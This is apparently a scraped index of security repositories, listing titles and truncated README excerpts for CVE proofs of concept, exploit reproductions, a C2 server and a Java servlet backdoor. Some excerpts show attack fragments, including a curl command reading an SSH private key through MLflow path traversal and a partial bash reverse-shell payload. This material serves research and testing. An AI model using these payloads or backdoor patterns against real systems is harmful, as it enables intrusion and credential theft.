CVE-2026-31431.c

CVE-2026-31431.c This content is provided for educational purposes only. The author assumes no responsibility or liability for any errors or omissions in the content. All information is provided "as is" with no guarantees of completeness, accuracy, usefulness, or timeliness. Any action you take...

KeePass-CVE-2023-24055

KeePass-CVE-2023-24055 KeePass CVE-2023-24055 Reproduction KeePass CVE-2023-24055 Reproduction 1. Prepare machines: Kali 192.168.232.129, Windows 10 192.168.232.128 2. Keepass version: 2.53 2. Principle: By modifying the KeePass configuration file KeePass.config.xml, add a trigger configuration...

CVE-2023-1177

CVE-2023-1177 | | MLFlow Path Traversal | Tested on MLflow 2.2.0 | src: https://github.com/iumiro/CVE-2023-1177-MLFlow | .. code-block:: bash !/bin/bash RAND="EXPLOIT-$1+$RANDOM%9999" URL="http://172.17.0.2:6001" FILE='/root/.ssh/idrsa' curl -vX POST...

sudo_digest_toctou_poc_CVE-2015-8239

sudoers DigestSpec TOCTOU POC Rationale Alyssa Milburn https://twitter.com/noopwafel discovered a TOCTOU race condition bug in sudo when the DigestSpec setting is used. The DigestSpec setting can be used to allow a user to sudo a binary if and only if its hash matches a prescribed value. See man...

NetSpy

NetSpyC2 NetSpyC2 is a Python-based Command & Control C2 server created for educational purposes, security research, and controlled laboratory environments. The project demonstrates how encrypted client-server communication, session management, and secure file transfer can be implemented at the...

CVE-2025-29017

CVE-2025-29017 - Internet Banking System 2.0.0 Remote Code Execution via Profile Picture Upload Description A Remote Code Execution RCE vulnerability exists in Code Astro Internet Banking System 2.0.0 due to improper file upload validation in the profilepic parameter within pagesviewclient.php...

CVE-2022-0486

Fidelis Network and Deception - CVE-2022-0486 - Insecure File Permissions Privilege Escalation - Multiple Releasability and Acknowledgements All exploits were approved for public release by the United States Government. Special thanks to the servicemen and government liaisons tasked with approvin...

CVE-2020-7699_reproduce

CVE-2020-7699 Reproduction Reproduction for Node.js RCE vulnerabilityCVE-2020-7699, my lab work Setup Node.js edition: v14.16.1, please make sure that the edition of Node.js is 14Other edition will propably work, I didn't test Python edition：3.9.5, Python is only used to send HTTP attack request,...

CVE-2026-0911

CVE-2026-0911 — Hustle Module Import PoC A research / pentest helper tool that tests the upload behavior via the authenticated module import endpoint for the WordPress plugin Hustle wordpress-popup, WPMU DEV under CVE-2026-0911. The CVE-2026-0911.py script in this repository or file set should on...

inspec-log4j

inspec-log4j This profile scans for vulnerable versions of Log4j Core JAR files directly on the file system, and embedded in WAR files. Running the profile locally git clone https://github.com/trickyearlobe/inspec-log4j inspec exec inspec-log4j Running the profile against a remote SSH target Ensu...

CVE-2024-50508

CVE-2024-50508 Woocommerce Product Design = 1.0.0 - Unauthenticated Arbitrary File Download Description The Woocommerce Product Design plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.0.0. This makes it possible for unauthenticated attackers to rea...

Java-Servlets-Shell

Java Servlets Shell Java Servlets Backdoor inspired by https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz Note : The WARs contain compiled Java code instead of JSP pages in order to be used in environments that block or do not compile JSP files...

CVE-2026-38526-PoC

CVE-2026-38526 | Krayin CRM v2.2.x Authenticated RCE - Unrestricted PHP File Upload via TinyMCE Description CVE-2026-38526 is a critical authenticated remote code execution vulnerability affecting Webkul Krayin CRM v2.2.x. The vulnerability exists in the TinyMCE media upload endpoint...

CVE-2026-30480

CVE-2026-30480: LibreNMS Local File Inclusion LFI via Path Traversal Overview A Local File Inclusion LFI vulnerability exists in the NFSen module of LibreNMS. An authenticated attacker can exploit path traversal sequences to include arbitrary PHP files from the server filesystem. Field| Value...

CVE-2019-11447

CVE-2019-11447 - PoC Exploits CuteNews 2.1.2 via poor file upload checks used when uploading an avatar image leading to RCE. Installation Clone the repository and install the requirements. pip install -r requirements.txt Usage In order to upload an avatar you will require a CuteNews user account,...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress Plugin RCE This repository contains a working Python exploit for CVE-2019-9978, a remote code execution vulnerability in the Social Warfare plugin for WordPress version system"bash -c \"bash -i & /...

CVE-2025-63298

CVE-2025-63298 A path traversal vulnerability was identified in SourceCodester Pet Grooming Management System 1.0, affecting the admin/managewebsite.php component. An authenticated user with administrative privileges can leverage this flaw by submitting a specially crafted POST request, enabling...

mysql-mysqldump-tab-path

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · mysql-mysqldump-tab-path Write-up: https://abraxaslabs.tech/research/mysql-mysqldump-tab-path mysql-mysqldump-tab-path Class: File write client Reach: Remote UI:R MySQL Community Server mysqldump 26.7.0 06a5c1c - Orac...

CVE-2026-40487

CVE-2026-40487 - Postiz = 2.21.5 - Arbitrary File Upload via MIME-Type Spoofing to Stored XSS to Account Takeover Discovered & reported by: Astaruf Full writeup: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/ NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-40487 GHSA entry:...

CVE-2026-87796

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-87796 Write-up: https://abraxaslabs.tech/research/CVE-2026-87796 CVE-2026-87796 Multi Uploader for Gravity Forms 1.1.9 - sh1zen I am @abraxasnull. Loopback lab. The client is CVE-2026-87796-Abraxas-Labs.py...